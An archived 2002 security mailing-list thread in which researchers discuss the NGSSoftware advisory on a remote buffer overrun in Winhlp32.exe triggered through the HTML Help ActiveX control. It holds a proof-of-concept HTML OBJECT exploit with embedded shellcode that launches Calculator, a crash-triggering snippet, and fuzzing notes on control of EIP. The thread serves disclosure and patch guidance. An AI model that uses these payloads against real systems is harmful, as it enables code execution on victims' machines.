RE: Winhelp32 Remote Buffer Overrun

2002-08-10 Thread Drew

Correction, closing out of the app brings up an error where the memory
read
is controlled at 4141414d (EIP is elsewhere), so it appears to be a
different 
type of crash by behavior entirely... but exploitable.

Would need to stick a debugger on it and mess around to narrow it down.



 -Original Message-
 From: Drew [mailto:[EMAIL PROTECTED]] 
 Sent: Tuesday, August 06, 2002 7:31 PM
 To: 'Mark Litchfield'; 'Jelmer'; '[EMAIL PROTECTED]'
 Subject: RE: Winhelp32 Remote Buffer Overrun
 
 
 Running this on my local file fuzzer, Litchfield's begins to 
 hit exceptions at 
 200 increments. (At a blank value it gives a memory error).
 
 At 216 increments (and at least for awhile, above) it 
 overwrites EIP with 
 41414141. (Windows 2000 Service Pack 2). 
 
 Testing Jelmer's as it was written below I ran to 10,000 
 increments and did not find an issue. Testing to 10,000 with 
 .TIF as the extension did not find an issue. Testing these 
 same case tests with using the method 
 HHClick() as in Litchfield's does not give an issue.
 
 It may have been with another method, or perhaps some 
 interaction with the webpage. It may be the characters used 
 to bruteforce it. Perhaps, they were unicode (which I could 
 test, as well as anything else).
 
 
 
  -Original Message-
  From: Mark Litchfield [mailto:[EMAIL PROTECTED]]
  Sent: Tuesday, August 06, 2002 12:24 PM
  To: Jelmer; [EMAIL PROTECTED]
  Subject: Re: Winhelp32 Remote Buffer Overrun
  
  
  If I am not mistaken, I believe that Microsoft are aware of
  this issue and have an IE patch comming out very shortly.  My 
  brother reported this to them, please see 
  http://www.nextgenss.com/vna/ms-whelp.txt
  
  Regards
  
  Cheers,
  
  
  Mark Litchfield
  
  - Original Message -
  From: Jelmer [EMAIL PROTECTED]
  To: Next Generation Insight Security Research Team
  [EMAIL PROTECTED]; [EMAIL PROTECTED]; 
  [EMAIL PROTECTED]
  Sent: Thursday, August 01, 2002 5:19 PM
  Subject: Re: Winhelp32 Remote Buffer Overrun
  
  
   I just installed servicepack 3 and the following code still
  crashed my
   my IE6 with a memory could not be refferenced error.
  
OBJECT ID=hhctrl TYPE=application/x-oleobject
   CLASSID=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
   PARAM name=Command value=Shortcut
   PARAM name=Button value=Bitmap:shortcut
   PARAM name=Item1 value=,,
   PARAM name=Item2 value=273,1,1
   PARAM name=codebase value=
   PARAM name=Font value= A VERY VERY LONG STRING  
 /OBJECT
  
   I have been told this means it is most likely 
 exploitable. I am not
   into buffer overflows myself though, maybe someone can 
  confirm this.
   Anyways I notified microsoft of this several months ago.
  The day after
   I notified
  them
   someone pointed me to the ngssoftware advisory *sob*, and I
  notified
   microsoft that this was probably the same issue, last I heard from
   them
  they
   where looking in to if this was indeed the case. It's been several
   months and as far as I know they are still looking.
  
   --
jelmer
  
   - Original Message -
   From: Next Generation Insight Security Research Team
   [EMAIL PROTECTED]
   To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
   Sent: Friday, August 02, 2002 3:59 AM
   Subject: Winhelp32 Remote Buffer Overrun
  
  
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
   
NGSSoftware Insight Security Research Advisory
   
Name:Winhlp32.exe Remote BufferOverrun
Systems Affected:  Win2K Platform
Severity:  Critical
Category:   Remote Buffer Overrun
Vendor URL:   http://www.mircosoft.com
Author:   Mark Litchfield ([EMAIL PROTECTED])
Date:   1st August 2002
Advisory number: #NISR01082002
   
   
Description
***
   
Many of the features available in HTML Help are
  implemented through
the HTML Help ActiveX control (HHCtrl.ocx). The HTML 
 Help ActiveX
control is used to provide navigation features (such as a 
  table of
contents), to display secondary windows and pop-up
  definitions, and
to provide other features. The HTML Help ActiveX control
  can be used
from topics in a compiled Help system as well as from HTML pages
displayed in a Web browser. The functionality provided by 
  the HTML
Help ActiveX control will run in the HTML Help Viewer or in any
browser that supports ActiveX technology, such as 
  Internet Explorer
(version 3.01 or later). Some features, as with the
  WinHlp Command,
provided by the HTML Help ActiveX control are meant to be
  available
only when it is used from a compiled HTML Help file
  (.chm) that is
displayed by using the HTML Help Viewer.
   
Details
***
   
Winhlp32.exe is vulnerable to a bufferoverrun attack
  using the Item
parameter within WinHlp Command, the item parameter is used to
specify the file path of the WinHelp (.hlp) file in which the 
WinHelp topic is stored, and the window name

RE: Winhelp32 Remote Buffer Overrun

2002-08-10 Thread Drew

Running this on my local file fuzzer, Litchfield's begins to hit
exceptions at 
200 increments. (At a blank value it gives a memory error).

At 216 increments (and at least for awhile, above) it overwrites EIP
with 
41414141. (Windows 2000 Service Pack 2). 

Testing Jelmer's as it was written below I ran to 10,000 increments
and did not find an issue. Testing to 10,000 with .TIF as the extension
did not find an issue. Testing these same case tests with using the
method 
HHClick() as in Litchfield's does not give an issue.

It may have been with another method, or perhaps some interaction with
the webpage. It may be the characters used to bruteforce it. Perhaps,
they
were unicode (which I could test, as well as anything else).



 -Original Message-
 From: Mark Litchfield [mailto:[EMAIL PROTECTED]] 
 Sent: Tuesday, August 06, 2002 12:24 PM
 To: Jelmer; [EMAIL PROTECTED]
 Subject: Re: Winhelp32 Remote Buffer Overrun
 
 
 If I am not mistaken, I believe that Microsoft are aware of 
 this issue and have an IE patch comming out very shortly.  My 
 brother reported this to them, please see 
 http://www.nextgenss.com/vna/ms-whelp.txt
 
 Regards
 
 Cheers,
 
 
 Mark Litchfield
 
 - Original Message -
 From: Jelmer [EMAIL PROTECTED]
 To: Next Generation Insight Security Research Team 
 [EMAIL PROTECTED]; [EMAIL PROTECTED]; 
 [EMAIL PROTECTED]
 Sent: Thursday, August 01, 2002 5:19 PM
 Subject: Re: Winhelp32 Remote Buffer Overrun
 
 
  I just installed servicepack 3 and the following code still 
 crashed my 
  my IE6 with a memory could not be refferenced error.
 
   OBJECT ID=hhctrl TYPE=application/x-oleobject 
  CLASSID=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
  PARAM name=Command value=Shortcut
  PARAM name=Button value=Bitmap:shortcut
  PARAM name=Item1 value=,,
  PARAM name=Item2 value=273,1,1
  PARAM name=codebase value=
  PARAM name=Font value= A VERY VERY LONG STRING  /OBJECT
 
  I have been told this means it is most likely exploitable. I am not 
  into buffer overflows myself though, maybe someone can 
 confirm this. 
  Anyways I notified microsoft of this several months ago. 
 The day after 
  I notified
 them
  someone pointed me to the ngssoftware advisory *sob*, and I 
 notified 
  microsoft that this was probably the same issue, last I heard from 
  them
 they
  where looking in to if this was indeed the case. It's been several 
  months and as far as I know they are still looking.
 
  --
   jelmer
 
  - Original Message -
  From: Next Generation Insight Security Research Team 
  [EMAIL PROTECTED]
  To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
  Sent: Friday, August 02, 2002 3:59 AM
  Subject: Winhelp32 Remote Buffer Overrun
 
 
   -BEGIN PGP SIGNED MESSAGE-
   Hash: SHA1
  
   NGSSoftware Insight Security Research Advisory
  
   Name:Winhlp32.exe Remote BufferOverrun
   Systems Affected:  Win2K Platform
   Severity:  Critical
   Category:   Remote Buffer Overrun
   Vendor URL:   http://www.mircosoft.com
   Author:   Mark Litchfield ([EMAIL PROTECTED])
   Date:   1st August 2002
   Advisory number: #NISR01082002
  
  
   Description
   ***
  
   Many of the features available in HTML Help are 
 implemented through 
   the HTML Help ActiveX control (HHCtrl.ocx). The HTML Help ActiveX 
   control is used to provide navigation features (such as a 
 table of 
   contents), to display secondary windows and pop-up 
 definitions, and 
   to provide other features. The HTML Help ActiveX control 
 can be used 
   from topics in a compiled Help system as well as from HTML pages 
   displayed in a Web browser. The functionality provided by 
 the HTML 
   Help ActiveX control will run in the HTML Help Viewer or in any 
   browser that supports ActiveX technology, such as 
 Internet Explorer 
   (version 3.01 or later). Some features, as with the 
 WinHlp Command, 
   provided by the HTML Help ActiveX control are meant to be 
 available 
   only when it is used from a compiled HTML Help file 
 (.chm) that is 
   displayed by using the HTML Help Viewer.
  
   Details
   ***
  
   Winhlp32.exe is vulnerable to a bufferoverrun attack 
 using the Item 
   parameter within WinHlp Command, the item parameter is used to 
   specify the file path of the WinHelp (.hlp) file in which the 
   WinHelp topic is stored, and the window name of the 
 target window.  
   Using this overrun, an attacker can successfully exectute 
 arbitary 
   code on a remote system by either encouraging the victim 
 to visit a 
   particular web page, whereby code would execute 
 automatically, or by 
   including the exploit within the source of an email.  In 
 regards to 
   email, execution would automatically occur when the mail 
 appears in 
   the preview pane and ActiveX objects are allowed (This is 
 allowed by 
   default, the Internet Security Settings would have to be 
 set as HIGH 
   to prevent execution of this vulnerability). Any exploit would

Re: Winhelp32 Remote Buffer Overrun

2002-08-01 Thread Jelmer

I just installed servicepack 3 and the following code still crashed my my
IE6 with a memory could not be refferenced error.

 OBJECT ID=hhctrl TYPE=application/x-oleobject
CLASSID=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
PARAM name=Command value=Shortcut
PARAM name=Button value=Bitmap:shortcut
PARAM name=Item1 value=,,
PARAM name=Item2 value=273,1,1
PARAM name=codebase value=
PARAM name=Font value= A VERY VERY LONG STRING 
/OBJECT

I have been told this means it is most likely exploitable. I am not into
buffer overflows myself though, maybe someone can confirm this. Anyways I
notified microsoft of this several months ago. The day after I notified them
someone pointed me to the ngssoftware advisory *sob*, and I notified
microsoft that this was probably the same issue, last I heard from them they
where looking in to if this was indeed the case. It's been several months
and as far as I know they are still looking.

--
 jelmer

- Original Message -
From: Next Generation Insight Security Research Team
[EMAIL PROTECTED]
To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
Sent: Friday, August 02, 2002 3:59 AM
Subject: Winhelp32 Remote Buffer Overrun


 -BEGIN PGP SIGNED MESSAGE-
 Hash: SHA1

 NGSSoftware Insight Security Research Advisory

 Name:Winhlp32.exe Remote BufferOverrun
 Systems Affected:  Win2K Platform
 Severity:  Critical
 Category:   Remote Buffer Overrun
 Vendor URL:   http://www.mircosoft.com
 Author:   Mark Litchfield ([EMAIL PROTECTED])
 Date:   1st August 2002
 Advisory number: #NISR01082002


 Description
 ***

 Many of the features available in HTML Help are implemented through
 the HTML Help ActiveX control (HHCtrl.ocx). The HTML Help ActiveX
 control is used to provide navigation features (such as a table of
 contents), to display secondary windows and pop-up definitions, and
 to provide other features. The HTML Help ActiveX control can be used
 from topics in a compiled Help system as well as from HTML pages
 displayed in a Web browser. The functionality provided by the HTML
 Help ActiveX control will run in the HTML Help Viewer or in any
 browser that supports ActiveX technology, such as Internet Explorer
 (version 3.01 or later). Some features, as with the WinHlp Command,
 provided by the HTML Help ActiveX control are meant to be available
 only when it is used from a compiled HTML Help file (.chm) that is
 displayed by using the HTML Help Viewer.

 Details
 ***

 Winhlp32.exe is vulnerable to a bufferoverrun attack using the Item
 parameter within WinHlp Command, the item parameter is used to
 specify the file path of the WinHelp (.hlp) file in which the WinHelp
 topic is stored, and the window name of the target window.  Using
 this overrun, an attacker can successfully exectute arbitary code on
 a remote system by either encouraging the victim to visit a
 particular web page, whereby code would execute automatically, or by
 including the exploit within the source of an email.  In regards to
 email, execution would automatically occur when the mail appears in
 the preview pane and ActiveX objects are allowed (This is allowed by
 default, the Internet Security Settings would have to be set as HIGH
 to prevent execution of this vulnerability). Any exploit would
 execute in the context of the logged on user.

 Visual POC Exploit
 **

 This POC will simply display Calculator.  Please note that this
 written on a Win2k PC with SP2 installed.  I have not tested it on
 anything else.

 OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
 codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp
 type=application/x-oleobject width=0PARAM NAME=Width
 VALUE=26PARAM NAME=Height VALUE=26PARAM NAME=Command
 VALUE=WinHelpPARAM NAME=Item1
 VALUE=3ÀPhcalc4$#402;À#1;PV¸¯§éwÿÐ3ÀP¾#8221;éwÿÖ
 AA
 AP
 PPPTTT#11;©õwABCDEFGH#402;Æ#21;ÿægMyWindowPARAM
 NAME=Item2 VALUE=NGS Software LTD/OBJECT
 SCRIPTwinhelp.HHClick()/SCRIPT


 Fix Information
 ***

 NGSSoftware alerted Microsoft to these problems on the 6th March
 2002. NGSSoftware highly recommend installing Microsoft Windows SP3,
 as the fix has been built into this service pack found at
 http://www.microsoft.com
 An alternative to these patches would be to ensure the security
 settings found in the Internet Options is set to high. Despite the
 Medium setting, stating that unsigned ActiveX controls will not be
 downloaded, Kylie will still execute Calc.exe.  Another alternative
 would be to remove winhlp32.exe if it is not required within your
 environment.
 A check for these issues has been added to Typhon II, of which more
 information is available from the
 NGSSoftware website, http://www.ngssoftware.com.

 Further Information
 ***

 For further information about the scope